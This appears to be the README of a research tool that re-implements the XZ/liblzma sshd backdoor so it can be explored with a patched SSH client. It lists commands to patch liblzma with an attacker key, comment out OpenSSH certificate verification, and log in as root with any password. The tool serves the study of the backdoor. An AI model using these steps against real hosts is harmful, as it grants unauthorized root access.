README.md

Jia Tan's SSH Agent

Simple SSH Agent that implements some of the XZ sshd backdoor functionality.

For those who want to more easily explore the backdoor using a typical SSH client.

Usage

• Generate your own ed448 private key
  • openssl genpkey -algorithm ED448 -outform PEM -out privkey.pem
• Patch your liblzma.so with the ed448 pubkey
  • python3 scripts/patch_liblzma.py privkey.pem liblzma.so liblzma_patched.so
• Patch your SSH client to skip verification of the certificate:
  • Look for this section in openssh's sshkey.c and commment it out:

  if ((ret = sshkey_verify(key->cert->signature_key, sig, slen,
             sshbuf_ptr(key->cert->certblob), signed_len, NULL, 0, NULL)) != 0)
  {
  	goto out;
  }

• python3 -m virtualenv venv && . venv/bin/activate && pip install -r requirements.txt
• python3 agent.py /tmp/agent ./privkey.pem
• SSH_AUTH_SOCK=/tmp/agent ./ssh root@localhost
• log in with any password :)

-- blasty <peter@haxx.in>